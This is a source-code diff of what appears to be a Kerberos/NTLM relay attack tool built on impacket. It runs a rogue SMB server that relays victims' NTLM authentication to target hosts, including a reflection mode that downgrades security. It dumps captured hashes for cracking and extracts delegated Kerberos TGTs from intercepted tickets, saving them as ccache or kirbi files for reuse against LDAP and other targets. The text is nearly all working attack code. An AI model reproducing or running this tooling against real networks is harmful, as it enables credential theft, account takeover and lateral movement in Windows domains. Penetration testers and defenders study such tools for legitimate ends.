SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split('\x02')
if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
else:
# Client does not support SMB2 fallbacking
raise Exception('SMB2 not supported, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = GSSAPIHeader_SPNEGO_Init2()
blob['tokenOid'] = '1.3.6.1.5.5.2'
blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore"
respSMBCommand['Buffer'] = encoder.encode(blob)
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
# This is SMB2
def SmbSessionSetup(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb3.SMB2SessionSetup_Response()
sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
connData['Capabilities'] = sessionSetupData['Capabilities']
securityBlob = sessionSetupData['Buffer']
rawNTLM = False
if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
# negTokenInit packet
try:
blob = decoder.decode(securityBlob, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
token = blob['innerContextToken']['negTokenInit']['mechToken']
if len(blob['innerContextToken']['negTokenInit']['mechTypes']) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['innerContextToken']['negTokenInit']['mechTypes'][0]
if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \
TypesMech['MS KRB5 - Microsoft Kerberos 5']:
# Nope, do we know it?
if MechTypes.has_key(str(mechType)):
mechStr = MechTypes[str(mechType)]
else:
mechStr = mechType
smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
# We don't know the token, we answer back again saying
# we just support Kerberos.
respToken = NegotiationToken()
respToken['negTokenResp']['negResult'] = 'request_mic'
respToken['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5']
respTokenData = encoder.encode(respToken)
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respTokenData)
respSMBCommand['Buffer'] = respTokenData
return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
else:
# This is Kerberos, we can do something with this
try:
# If you're looking for the magic, it's in lib/utils/kerberos.py
authdata = get_kerberos_loot(securityBlob, self.config)
# If we are here, it was succesful
# Are we in attack mode? If so, launch attack against all targets
if self.config.mode == 'ATTACK':
self.do_attack(authdata)
# This ignores all signing stuff
# causes connection resets
# Todo: reply properly!
respToken = NegotiationToken()
# accept-completed
respToken['negTokenResp']['negResult'] = 'accept_completed'
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = encoder.encode(respToken)
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, STATUS_SUCCESS
# Somehow the function above catches all exceptions and hides them
# which is pretty annoying
except Exception, e:
import traceback
traceback.print_exc()
raise
pass
except:
import traceback
traceback.print_exc()
else:
# No GSSAPI stuff, we can't do anything with this
smbServer.log("No negTokenInit sent by client", logging.CRITICAL)
raise Exception('No negTokenInit sent by client')
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken.getData()
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
################################################################################
### SMBv1 Part #################################################################
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
if self.config.mode.upper() == 'REFLECTION':
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
#TODO: Check if a cache is better because there is no way to know which target was selected for this victim
# except for relying on the targetprocessor selecting the same target unless a relay was already done
self.target = self.targetprocessor.getTarget()
#############################################################
# SMBRelay
# Get the data for all connections
smbData = smbServer.getConnectionData('SMBRelay', False)
if smbData.has_key(self.target):
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))
try:
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
#Init the correct client for our target
client = self.init_client(extSec)
except Exception, e:
LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = smbData[self.target]['SMBClient']
try:
challengeMessage = self.do_ntlm_negotiate(client,token)
except Exception, e:
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
# Raise exception again to pass it on to the SMB server
raise
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = smbData[self.target]['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
#For some attacks it is important to know the authenticated username, so we store it
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target, True)
ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
#TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
client = smbData[self.target]['SMBClient']
_, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
#Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
# Finish client's connection
#client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'],
sessionSetupData['Account']))
self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target, True)
ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
################################################################################
def do_attack(self, authdata):
# Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
self.authUser = '%s/%s' % (authdata['domain'], authdata['username'])
# No SOCKS, since socks is pointless when you can just export the tickets
# instead we iterate over all the targets
for target in self.config.target.originalTargets:
parsed_target = target
if parsed_target.scheme.upper() in self.config.attacks:
client = self.config.protocolClients[target.scheme.upper()](self.config, parsed_target)
client.initConnection(authdata, self.config.dcip)
# We have an attack.. go for it
attack = self.config.attacks[parsed_target.scheme.upper()]
client_thread = attack(self.config, client.session, self.authUser)
client_thread.start()
else:
LOG.error('No attack configured for %s', parsed_target.scheme.upper())
def _start(self):
self.server.daemon_threads=True
self.server.serve_forever()
LOG.info('Shutting down SMB Server')
self.server.server_close()
def run(self):
LOG.info("Setting up SMB Server")
self._start()
+1
View File
@@ -0,0 +1 @@
pass
+30
View File
@@ -0,0 +1,30 @@
"""
Config class, mostly extended from ntlmrelayx
"""
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
class KrbRelayxConfig(NTLMRelayxConfig):
def __init__(self):
NTLMRelayxConfig.__init__(self)
# Auth options
self.dcip = None
self.aeskey = None
self.hashes = None
self.password = None
self.israwpassword = False
self.salt = None
# Krb options
self.format = 'ccache'
def setAuthOptions(self, aeskey, hashes, dcip, password, salt, israwpassword=False):
self.dcip = dcip
self.aeskey = aeskey
self.hashes = hashes
self.password = password
self.salt = salt
self.israwpassword = israwpassword
def setKrbOptions(self, outformat):
self.format = outformat
+295
View File
@@ -0,0 +1,295 @@
import struct
import datetime
from binascii import unhexlify, hexlify
from pyasn1.type.univ import noValue
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS
from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED
from ldap3.operation.bind import bind_operation
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart
from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key
from krbcredccache import KrbCredCCache
from spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ
from impacket import LOG
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS
from Cryptodome.Hash import HMAC, MD4
def get_kerberos_loot(token, options):
from pyasn1 import debug
# debug.setLogger(debug.Debug('all'))
# Do we have a Krb ticket?
blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
# print str(blob)
data = blob['innerContextToken']['negTokenInit']['mechToken']
try:
payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]
except PyAsn1Error:
raise Exception('Error obtaining Kerberos data')
# print payload
# It is an AP_REQ
decodedTGS = payload['apReq']
# print decodedTGS
# Get ticket data
cipherText = decodedTGS['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]
# Create decryption keys from specified Kerberos keys
if options.hashes is not None:
nthash = options.hashes.split(':')[1]
else:
nthash = ''
aesKey = options.aeskey or ''
allciphers = [
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)
]
# Store Kerberos keys
# TODO: get the salt from preauth info (requires us to send AS_REQs to the DC)
keys = {}
if nthash != '':
keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash)
if aesKey != '':
if len(aesKey) == 64:
keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
else:
keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
ekeys = {}
for kt, key in keys.items():
ekeys[kt] = Key(kt, key)
# Calculate Kerberos keys from specified password/salt
if options.password and options.salt:
for cipher in allciphers:
if cipher == 23 and options.israwpassword:
# RC4 calculation is done manually for raw passwords
md4 = MD4.new()
md4.update(options.password)
ekeys[cipher] = Key(cipher, md4.digest())
else:
# Do conversion magic for raw passwords
if options.israwpassword:
rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
else:
# If not raw, it was specified from the command line, assume it's not UTF-16
rawsecret = options.password
ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt)
LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents))
# Select the correct encryption key
try:
key = ekeys[decodedTGS['ticket']['enc-part']['etype']]
# This raises a KeyError (pun intended) if our key is not found
except KeyError:
LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',
decodedTGS['ticket']['enc-part']['etype'],
', '.join([str(enctype) for enctype in ekeys.keys()]))
return None
# Recover plaintext info from ticket
try:
plainText = newCipher.decrypt(key, 2, str(cipherText))
except InvalidChecksum:
LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect')
if options.salt:
LOG.info('You specified a salt manually. Make sure it has the correct case.')
return
LOG.debug('Ticket decrypt OK')
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
sessionKey = Key(encTicketPart['key']['keytype'], str(encTicketPart['key']['keyvalue']))
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
# print encTicketPart
flags = encTicketPart['flags'].asBinary()
# print flags
# for flag in TicketFlags:
# if flags[flag.value] == '1':
# print flag
# print flags[TicketFlags.ok_as_delegate.value]
cipherText = decodedTGS['authenticator']['cipher']
newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])]
# Recover plaintext info from authenticator
plainText = newCipher.decrypt(sessionKey, 11, str(cipherText))
authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0]
print authenticator
# The checksum may contain the delegated ticket
cksum = authenticator['cksum']
if cksum['cksumtype'] != 32771:
raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype'])
# Checksum as in 4.1.1 [RFC4121]
# Fields:
# 0-3 Length of channel binding info (fixed at 16)
# 4-19 channel binding info
# 20-23 flags
# 24-25 delegation option identifier
# 26-27 length of deleg field
# 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28)
# n..last extensions
flags = struct.unpack('<L', str(cksum['checksum'])[20:24])[0]
# print flags
if not flags & GSS_C_DELEG_FLAG:
LOG.error('Delegate info not set, cannot extract ticket!')
LOG.error('Make sure the account you use has unconstrained delegation rights')
return
dlen = struct.unpack('<H', str(cksum['checksum'])[26:28])[0]
deldata = str(cksum['checksum'])[28:28+dlen]
creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0]
print creds
subkey = Key(authenticator['subkey']['keytype'], str(authenticator['subkey']['keyvalue']))
newCipher = _enctype_table[int(creds['enc-part']['etype'])]
plainText = newCipher.decrypt(sessionKey, 14, str(creds['enc-part']['cipher']))
# print plainText
# Now we got the EncKrbCredPart
enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0]
print enc_part
for i, tinfo in enumerate(enc_part['ticket-info']):
# This is what we are after :)
# uname = Principal(ticket['pname']['name-string'][0])
username = '/'.join([str(item) for item in tinfo['pname']['name-string']])
realm = str(tinfo['prealm'])
fullname = '%s@%s' % (username, realm)
sname = Principal([str(item) for item in tinfo['sname']['name-string']])
LOG.info('Got ticket for %s [%s]', fullname, sname)
ticket = creds['tickets'][i]
filename = '%s_%s' % (fullname, sname)
saveformat = options.format
LOG.info('Saving ticket in %s.%s', filename, saveformat)
ccache = KrbCredCCache()
ccache.fromKrbCredTicket(ticket, tinfo)
if saveformat == 'ccache':
ccache.saveFile(filename + '.ccache')
else:
# Save as Kirbi
oc = KRB_CRED()
oc['tickets'].append(ticket)
oc['enc-part']['etype'] = 0
new_enc_part = EncKrbCredPart()
new_enc_part['ticket-info'].append(tinfo)
oc['enc-part']['cipher'] = encoder.encode(new_enc_part)
ocdata = encoder.encode(oc)
with open(filename + '.kirbi', 'wb') as outfile:
outfile.write(ocdata)
data = {
'username': username,
'domain': realm,
# We take it from the ccache since this already has a helper function to get
# it in the right format.
'tgt': ccache.credentials[0].toTGT()
}
return data
def kirbi2ccache(kirbifile, ccachefile):
with open(kirbifile, 'rb') as infile:
data = infile.read()
creds = decoder.decode(data, asn1Spec=KRB_CRED())[0]
# This shouldn't be encrypted normally
if creds['enc-part']['etype'] != 0:
raise Exception('Ticket info is encrypted with cipher other than null')
enc_part = decoder.decode(creds['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]
tinfo = enc_part['ticket-info']
ccache = KrbCredCCache()
# Enumerate all
for i, tinfo in enumerate(tinfo):
ccache.fromKrbCredTicket(creds['tickets'][i], tinfo)
ccache.saveFile(ccachefile)
def ccache2kirbi(ccachefile, kirbifile):
ccache = KrbCredCCache.loadFile(ccachefile)
### TODO from here ###
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
# Hackery to authenticate with ldap3 using impacket Kerberos stack
# I originally wrote this for BloodHound.py, but it works fine (tm) here too
username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# From here back to ldap3
ldapconnection.open(read_server_info=False)
request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData())
response = ldapconnection.post_send_single_response(ldapconnection.send('bindRequest', request, None))[0]
ldapconnection.result = response
if response['result'] == 0:
ldapconnection.bound = True
ldapconnection.refresh_server_info()
return response['result'] == 0
+58
View File
@@ -0,0 +1,58 @@
from impacket.krb5.constants import TicketFlags
from impacket.krb5.ccache import CCache, Header, Credential, KeyBlock, Times, CountedOctetString, Principal, Ticket
from impacket.krb5 import types
from pyasn1.codec.der import encoder
class KrbCredCCache(CCache):
"""
This is just the impacket ccache, but with an extra function to create it from
a Krb Cred Ticket and ticket data
"""
def fromKrbCredTicket(self, ticket, ticketdata):
self.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00'
self.headers.append(header)
tmpPrincipal = types.Principal()
tmpPrincipal.from_asn1(ticketdata, 'prealm', 'pname')
self.principal = Principal()
self.principal.fromPrincipal(tmpPrincipal)
encASRepPart = ticketdata
credential = Credential()
server = types.Principal()
server.from_asn1(encASRepPart, 'srealm', 'sname')
tmpServer = Principal()
tmpServer.fromPrincipal(server)
credential['client'] = self.principal
credential['server'] = tmpServer
credential['is_skey'] = 0
credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encASRepPart['key']['keytype'])
credential['key']['keyvalue'] = str(encASRepPart['key']['keyvalue'])
credential['key']['keylen'] = len(credential['key']['keyvalue'])
credential['time'] = Times()
credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))
credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))
flags = self.reverseFlags(encASRepPart['flags'])
credential['tktflags'] = flags
credential['num_address'] = 0
credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(ticket.clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
credential.ticket['length'] = len(credential.ticket['data'])
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = ''
credential.secondTicket['length'] = 0
self.credentials.append(credential)
+160
View File
@@ -0,0 +1,160 @@
from pyasn1.type import univ, char, namedtype, namedval, tag, constraint, useful
from impacket.krb5.asn1 import _application_tag, _sequence_component, _sequence_optional_component, AP_REQ, AP_REP
from pyasn1.codec.der import decoder, encoder
MechTypes = {
'1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider',
'1.2.840.48018.1.2.2': 'MS KRB5 - Microsoft Kerberos 5',
'1.2.840.113554.1.2.2': 'KRB5 - Kerberos 5',
'1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User',
'1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'
}
TypesMech = dict((v,k) for k, v in MechTypes.iteritems())
class ContextFlags(univ.BitString):
namedValues = namedval.NamedValues(
('delegFlag', 0),
('mutualFlag', 1),
('replayFlag', 2),
('sequenceFlag', 3),
('anonFlag', 4),
('confFlag', 5),
('integFlag', 6)
)
class NegResult(univ.Enumerated):
namedValues = namedval.NamedValues(
('accept_completed', 0),
('accept_incomplete', 1),
('reject', 2),
('request_mic', 3)
)
class MechType(univ.ObjectIdentifier):
pass
class MechTypeList(univ.SequenceOf):
componentType = MechType()
class NegHints(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_optional_component('hintName', 0, char.GeneralString()),
_sequence_optional_component('hintAddress', 1, univ.OctetString())
)
class NegTokenInit(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('mechTypes', 0, MechTypeList()),
_sequence_optional_component('reqFlags', 1, ContextFlags()),
_sequence_optional_component('mechToken', 2, univ.OctetString()),
_sequence_optional_component('mechListMIC', 3, univ.OctetString())
)
class NegTokenInit2(univ.Sequence):
"""
negTokenInit2 is a Microsoft extension of negTokenInit, initiating SPNEGO from the server
See [MS-SPNG] for details. The negHints field should always contain the hintname
"not_defined_in_RFC4178@please_ignore"
"""
componentType = namedtype.NamedTypes(
_sequence_component('mechTypes', 0, MechTypeList()),
